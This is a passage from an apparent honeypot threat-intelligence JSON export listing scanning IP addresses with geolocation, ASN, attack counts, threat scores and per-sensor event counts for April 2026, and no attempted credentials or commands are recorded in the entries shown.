        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.9,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 195,
        "days_active_30d": 28,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-03T12:32:40.032000+00:00",
        "last_seen_30d": "2026-04-30T23:18:05.546000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 121,
        "Honeytrap": 42,
        "ElasticPot": 23,
        "Cowrie": 4,
        "ConPot": 3
      }
    },
    "95.71.127.158": {
      "attack_count": 4,
      "first_seen": "2026-04-04T18:19:14.726Z",
      "last_seen": "2026-04-17T05:30:00.330Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Belgorod",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T18:19:14.726000+00:00",
        "last_seen_30d": "2026-04-17T05:40:03.620000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "104.152.52.66": {
      "attack_count": 2,
      "first_seen": "2026-04-06T15:56:18.804Z",
      "last_seen": "2026-04-06T15:56:19.021Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T15:56:18.804000+00:00",
        "last_seen_30d": "2026-04-06T15:57:28.518000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "109.127.82.78": {
      "attack_count": 2,
      "first_seen": "2026-04-30T12:03:39.612Z",
      "last_seen": "2026-04-30T12:03:52.450Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Erbil",
      "asn": 21277,
      "as_org": "Allay Nawroz Telecom Company for Communication/Ltd.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T12:03:39.612000+00:00",
        "last_seen_30d": "2026-04-30T12:04:54.886000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.190.238.64": {
      "attack_count": 2,
      "first_seen": "2026-04-05T22:04:15.901Z",
      "last_seen": "2026-04-05T22:04:15.902Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T22:04:15.901000+00:00",
        "last_seen_30d": "2026-04-05T22:05:20.662000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.82.91.242": {
      "attack_count": 2,
      "first_seen": "2026-04-23T17:01:30.120Z",
      "last_seen": "2026-04-23T17:01:43.064Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 140292,
      "as_org": "CHINATELECOM Jiangsu province Suzhou 5G network",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T17:01:30.120000+00:00",
        "last_seen_30d": "2026-04-23T17:02:45.529000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.122.75.185": {
      "attack_count": 2,
      "first_seen": "2026-04-05T17:19:06.821Z",
      "last_seen": "2026-04-05T17:19:38.725Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Petaling Jaya",
      "asn": 9534,
      "as_org": "Binariang Berhad",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T17:19:06.821000+00:00",
        "last_seen_30d": "2026-04-05T17:20:47.228000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "14.169.129.123": {
      "attack_count": 2,
      "first_seen": "2026-04-20T08:20:53.134Z",
      "last_seen": "2026-04-20T08:21:23.793Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T08:20:53.134000+00:00",
        "last_seen_30d": "2026-04-20T08:22:28.664000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "144.31.220.106": {
      "attack_count": 2,
      "first_seen": "2026-04-11T10:27:24.349Z",
      "last_seen": "2026-04-11T10:27:24.626Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 216039,
      "as_org": "EdgeSec Technologies Limited",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T10:25:29.787000+00:00",
        "last_seen_30d": "2026-04-11T10:28:27.009000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2
      }
    },
    "153.205.25.247": {
      "attack_count": 2,
      "first_seen": "2026-04-25T22:03:51.033Z",
      "last_seen": "2026-04-25T22:04:03.940Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Fujikubo",
      "asn": 4713,
      "as_org": "NTT DOCOMO BUSINESS,Inc.",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T22:03:51.033000+00:00",
        "last_seen_30d": "2026-04-25T22:05:09.273000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "161.33.181.203": {
      "attack_count": 2,
      "first_seen": "2026-04-24T08:13:01.627Z",
      "last_seen": "2026-04-24T08:13:32.136Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Inzai",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T08:13:01.627000+00:00",
        "last_seen_30d": "2026-04-24T08:14:38.953000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "172.105.155.21": {
      "attack_count": 2,
      "first_seen": "2026-04-30T22:11:56.434Z",
      "last_seen": "2026-04-30T22:11:56.617Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T22:11:56.434000+00:00",
        "last_seen_30d": "2026-04-30T22:13:07.793000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "188.241.25.73": {
      "attack_count": 2,
      "first_seen": "2026-04-27T10:48:51.806Z",
      "last_seen": "2026-04-27T10:49:05.925Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Kielce",
      "asn": 202805,
      "as_org": "I-TEL Pawel Bak",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T10:48:51.806000+00:00",
        "last_seen_30d": "2026-04-27T10:50:09.385000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.182.156.103": {
      "attack_count": 2,
      "first_seen": "2026-04-21T11:06:10.587Z",
      "last_seen": "2026-04-21T11:06:42.893Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Joaqu\u00edn V. Gonz\u00e1lez",
      "asn": 27983,
      "as_org": "Red Intercable Digital S.A.",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T11:06:10.587000+00:00",
        "last_seen_30d": "2026-04-21T11:07:51.781000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "2.68.32.186": {
      "attack_count": 2,
      "first_seen": "2026-04-01T16:36:09.551Z",
      "last_seen": "2026-04-01T16:36:22.637Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Uddevalla",
      "asn": 44034,
      "as_org": "Hi3G Access AB",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T16:36:09.551000+00:00",
        "last_seen_30d": "2026-04-01T16:37:28.835000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "211.250.26.54": {
      "attack_count": 2,
      "first_seen": "2026-04-10T05:56:12.106Z",
      "last_seen": "2026-04-10T05:56:42.685Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Pyeongtaek-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T05:56:12.106000+00:00",
        "last_seen_30d": "2026-04-10T05:57:50.332000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "216.247.87.214": {
      "attack_count": 2,
      "first_seen": "2026-04-30T10:50:14.344Z",
      "last_seen": "2026-04-30T10:50:28.099Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Batangas",
      "asn": 4775,
      "as_org": "Globe Telecoms",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T10:50:14.344000+00:00",
        "last_seen_30d": "2026-04-30T10:51:36.531000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.19.77.97": {
      "attack_count": 2,
      "first_seen": "2026-04-29T18:40:36.274Z",
      "last_seen": "2026-04-29T18:40:48.444Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Vladimir",
      "asn": 42322,
      "as_org": "MTS PJSC",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T18:40:36.274000+00:00",
        "last_seen_30d": "2026-04-29T18:41:55.957000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "43.163.122.89": {
      "attack_count": 2,
      "first_seen": "2026-04-03T01:47:09.960Z",
      "last_seen": "2026-04-03T01:47:09.961Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T01:47:09.960000+00:00",
        "last_seen_30d": "2026-04-03T01:48:12.775000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "46.188.119.26": {
      "attack_count": 2,
      "first_seen": "2026-04-11T03:52:18.223Z",
      "last_seen": "2026-04-11T03:54:18.270Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 8334,
      "as_org": "LLC SETEL",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T03:52:18.223000+00:00",
        "last_seen_30d": "2026-04-11T04:04:21.425000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.180.162.31": {
      "attack_count": 2,
      "first_seen": "2026-04-01T05:15:25.062Z",
      "last_seen": "2026-04-01T05:15:38.579Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 17813,
      "as_org": "Mahanagar Telephone Nigam Limited",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T05:15:25.062000+00:00",
        "last_seen_30d": "2026-04-01T05:16:43.930000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.96.107.29": {
      "attack_count": 2,
      "first_seen": "2026-04-03T03:31:49.451Z",
      "last_seen": "2026-04-03T03:32:02.446Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T03:31:49.451000+00:00",
        "last_seen_30d": "2026-04-03T03:33:10.316000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "68.197.213.240": {
      "attack_count": 2,
      "first_seen": "2026-04-23T15:32:00.303Z",
      "last_seen": "2026-04-23T15:32:13.369Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Shirley",
      "asn": 6128,
      "as_org": "Cablevision Systems Corp.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T15:32:00.303000+00:00",
        "last_seen_30d": "2026-04-23T15:33:22.634000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "69.165.65.124": {
      "attack_count": 2,
      "first_seen": "2026-04-23T10:19:54.340Z",
      "last_seen": "2026-04-23T10:20:24.758Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 62468,
      "as_org": "VpsQuan L.L.C.",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T10:19:54.340000+00:00",
        "last_seen_30d": "2026-04-23T10:21:27.763000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "73.136.161.221": {
      "attack_count": 2,
      "first_seen": "2026-04-02T09:21:49.541Z",
      "last_seen": "2026-04-02T09:22:02.816Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T09:21:49.541000+00:00",
        "last_seen_30d": "2026-04-02T09:23:08.600000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.231.89.228": {
      "attack_count": 2,
      "first_seen": "2026-04-11T00:03:33.356Z",
      "last_seen": "2026-04-11T00:03:33.357Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 88.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 215,
        "days_active_30d": 30,
        "ports_targeted_30d": 63,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T00:56:53+00:00",
        "last_seen_30d": "2026-04-30T20:29:39.669000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 168,
        "Honeytrap": 37,
        "Miniprint": 8,
        "Cowrie": 2
      }
    },
    "94.232.41.236": {
      "attack_count": 2,
      "first_seen": "2026-04-08T05:48:35.049Z",
      "last_seen": "2026-04-08T05:50:35.052Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kyrgyzstan",
      "country_code": "KG",
      "city": null,
      "asn": 64439,
      "as_org": "IT Outsourcing LLC",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T05:48:35.049000+00:00",
        "last_seen_30d": "2026-04-08T06:00:45.041000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "99.228.247.37": {
      "attack_count": 2,
      "first_seen": "2026-04-29T15:28:21.742Z",
      "last_seen": "2026-04-29T15:28:34.895Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Markham",
      "asn": 812,
      "as_org": "Rogers Communications Canada Inc.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T15:28:21.742000+00:00",
        "last_seen_30d": "2026-04-29T15:29:36.349000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.148.9.8": {
      "attack_count": 4104,
      "first_seen": "2026-04-30T05:06:38.423Z",
      "last_seen": "2026-04-30T23:40:29.644Z",
      "sessions": 1368,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 65.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 2.5,
        "diversity": 8,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7105,
        "days_active_30d": 3,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-28T03:57:00.271000+00:00",
